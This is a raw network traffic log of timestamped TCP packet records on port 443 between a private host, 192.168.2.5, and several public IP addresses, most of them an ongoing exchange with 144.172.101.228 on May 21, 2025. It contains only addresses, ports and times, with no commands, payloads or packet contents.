May 21, 2025 21:48:48.698112011 CEST	443	49717	75.2.108.141	192.168.2.5
May 21, 2025 21:48:48.771122932 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:48.780309916 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:48.780390024 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:48.826149940 CEST	49705	443	192.168.2.5	23.43.51.47
May 21, 2025 21:48:48.826162100 CEST	443	49705	23.43.51.47	192.168.2.5
May 21, 2025 21:48:48.879384041 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:48.888452053 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:48.888504982 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:48.989130974 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:48.995626926 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:48.995706081 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.099446058 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.111984968 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:49.112066031 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.185183048 CEST	49726	443	192.168.2.5	23.43.51.47
May 21, 2025 21:48:49.185199022 CEST	443	49726	23.43.51.47	192.168.2.5
May 21, 2025 21:48:49.197901011 CEST	49728	443	192.168.2.5	23.43.51.48
May 21, 2025 21:48:49.197957039 CEST	443	49728	23.43.51.48	192.168.2.5
May 21, 2025 21:48:49.205698967 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.246228933 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:49.306097984 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:49.306251049 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.313851118 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.321877003 CEST	49732	443	192.168.2.5	150.171.27.10
May 21, 2025 21:48:49.321891069 CEST	443	49732	150.171.27.10	192.168.2.5
May 21, 2025 21:48:49.337219954 CEST	49727	443	192.168.2.5	104.254.148.252
May 21, 2025 21:48:49.337235928 CEST	443	49727	104.254.148.252	192.168.2.5
May 21, 2025 21:48:49.368626118 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:49.384275913 CEST	49706	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:49.384289026 CEST	443	49706	18.188.153.65	192.168.2.5
May 21, 2025 21:48:49.417287111 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:49.431343079 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.477972984 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:49.508846045 CEST	49734	443	192.168.2.5	216.239.32.181
May 21, 2025 21:48:49.508855104 CEST	443	49734	216.239.32.181	192.168.2.5
May 21, 2025 21:48:49.524797916 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:49.568290949 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.600857973 CEST	49736	443	192.168.2.5	142.251.2.154
May 21, 2025 21:48:49.600857973 CEST	49735	443	192.168.2.5	142.250.101.156
May 21, 2025 21:48:49.600892067 CEST	443	49736	142.251.2.154	192.168.2.5
May 21, 2025 21:48:49.600914955 CEST	443	49735	142.250.101.156	192.168.2.5
May 21, 2025 21:48:49.616097927 CEST	49737	443	192.168.2.5	142.251.2.154
May 21, 2025 21:48:49.616118908 CEST	443	49737	142.251.2.154	192.168.2.5
May 21, 2025 21:48:49.626430988 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.633924961 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:49.634054899 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.677345991 CEST	49738	443	192.168.2.5	142.250.101.156
May 21, 2025 21:48:49.677362919 CEST	49739	443	192.168.2.5	142.250.101.156
May 21, 2025 21:48:49.677366972 CEST	443	49738	142.250.101.156	192.168.2.5
May 21, 2025 21:48:49.677376986 CEST	443	49739	142.250.101.156	192.168.2.5
May 21, 2025 21:48:49.741394997 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.749541044 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:49.749661922 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.847839117 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.857024908 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:49.857137918 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.953704119 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:49.964023113 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:49.964152098 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.067845106 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.076535940 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:50.076679945 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.175847054 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.184009075 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:50.184127092 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.282953024 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.293091059 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:50.293320894 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.395345926 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.410067081 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:50.410218954 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.502621889 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.516943932 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:50.517172098 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.611996889 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.624461889 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:50.624541044 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.638703108 CEST	49729	443	192.168.2.5	23.43.51.47
May 21, 2025 21:48:50.638735056 CEST	443	49729	23.43.51.47	192.168.2.5
May 21, 2025 21:48:50.728401899 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.732115984 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:50.732208967 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.746397972 CEST	49724	443	192.168.2.5	70.40.216.191
May 21, 2025 21:48:50.746454954 CEST	443	49724	70.40.216.191	192.168.2.5
May 21, 2025 21:48:50.835583925 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.840357065 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:50.840436935 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.941874981 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:50.947662115 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:50.947736979 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.049943924 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.054539919 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:51.054630041 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.068579912 CEST	49740	443	192.168.2.5	74.125.137.104
May 21, 2025 21:48:51.068605900 CEST	443	49740	74.125.137.104	192.168.2.5
May 21, 2025 21:48:51.131803036 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:51.131828070 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:51.131956100 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:51.132296085 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:51.132302999 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:51.157825947 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.163254976 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:51.163337946 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.253334999 CEST	49741	443	192.168.2.5	99.83.231.3
May 21, 2025 21:48:51.253345966 CEST	443	49741	99.83.231.3	192.168.2.5
May 21, 2025 21:48:51.266006947 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.269582033 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:51.269673109 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.373743057 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.377167940 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:51.377234936 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.480870962 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.485356092 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:51.485436916 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.497039080 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:51.498778105 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:51.498802900 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:51.499021053 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:51.499023914 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:51.499129057 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:51.499231100 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:51.499469042 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:51.499701023 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:51.499881029 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:51.499950886 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:51.499950886 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:51.544267893 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:51.587760925 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.593264103 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:51.593358994 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.694799900 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.699985027 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:51.700056076 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.708029985 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:51.708355904 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:51.708419085 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:51.708471060 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:51.709932089 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:51.710098982 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:51.806109905 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.809331894 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:51.809422016 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.914583921 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.917696953 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:51.917787075 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:51.993702888 CEST	49742	443	192.168.2.5	70.40.216.191
May 21, 2025 21:48:51.993761063 CEST	443	49742	70.40.216.191	192.168.2.5
May 21, 2025 21:48:52.026257038 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:52.039299011 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.039355993 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.089061975 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:52.127383947 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.136460066 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:52.180285931 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.238919973 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.245755911 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:52.245858908 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.355840921 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:52.356082916 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.359359026 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.400922060 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:52.454292059 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.464771032 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:52.512273073 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.563726902 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.573998928 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:52.574095011 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.674530983 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.683727026 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:52.683825016 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.788263083 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.800029993 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:52.800129890 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.891522884 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:52.907989979 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:52.908086061 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.008496046 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.016881943 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:53.016947985 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.120611906 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:53.121139050 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.121186018 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.167862892 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:53.229818106 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.231355906 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:53.276274920 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.334532022 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.339441061 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:53.339525938 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.438568115 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.457096100 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:53.457209110 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.550328016 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.577234983 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:53.577327013 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.659773111 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.705915928 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:53.705985069 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.774983883 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.822803020 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:53.865137100 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:53.865294933 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.895648956 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:53.935607910 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:53.967699051 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:54.012279034 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.025717020 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.074659109 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:54.076571941 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:54.076685905 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.183207035 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.183634996 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:54.183790922 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.286034107 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.291807890 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:54.291868925 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.397846937 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.399102926 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:54.399143934 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.501451969 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.518276930 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:54.518322945 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.611726999 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.621380091 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:54.621418953 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.713326931 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:54.713350058 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:54.713391066 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:54.713401079 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:54.717629910 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.730045080 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:54.730086088 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.835803986 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.845400095 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:54.845459938 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.917843103 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:54.918476105 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:54.918548107 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:54.918576956 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:54.919891119 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:54.920280933 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:54.938519955 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:54.954336882 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:54.954380035 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.047183990 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.059381962 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:55.059429884 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.163353920 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.168214083 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:55.168279886 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.272037983 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.276762962 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:55.276822090 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.379086971 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.385459900 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:55.385500908 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.487112045 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.494048119 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:55.494119883 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.595484972 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.605488062 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:55.605540037 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.703006983 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.711452961 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:55.711493969 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.815975904 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.821372986 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:55.821409941 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.923409939 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:55.925789118 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:55.925829887 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.029432058 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.072575092 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:56.081358910 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:56.081448078 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.141663074 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.183686018 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:56.244337082 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.254547119 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:56.254615068 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.401403904 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.419583082 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:56.419672012 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.543200970 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:56.543287992 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.575340986 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.621560097 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:56.657313108 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:56.704279900 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.737155914 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.753444910 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:56.753510952 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.763801098 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:56.763851881 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.863441944 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.869703054 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:56.869820118 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.977155924 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:56.982745886 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:56.982924938 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.077625990 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.085799932 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.087212086 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:57.091310024 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:57.091393948 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.187213898 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.197599888 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:57.197654963 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.258217096 CEST	49700	443	192.168.2.5	142.250.101.105
May 21, 2025 21:48:57.258574963 CEST	443	49700	142.250.101.105	192.168.2.5
May 21, 2025 21:48:57.258641958 CEST	49700	443	192.168.2.5	142.250.101.105
May 21, 2025 21:48:57.301929951 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.311125040 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:57.311212063 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.412054062 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.418212891 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:57.418308020 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.518855095 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.527992010 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:57.528085947 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.629923105 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.639092922 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:57.639194012 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.738008022 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.747883081 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:57.747966051 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.847048998 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.860734940 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:57.860833883 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.958237886 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:57.972707987 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:57.972707987 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:57.972731113 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:57.972739935 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:57.972759008 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:57.972763062 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:57.972788095 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:57.972799063 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:57.972852945 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:57.972861052 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:57.984076023 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:57.984302044 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.066771984 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.088815928 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:58.089098930 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.179470062 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.194777012 CEST	49753	443	192.168.2.5	144.172.101.228
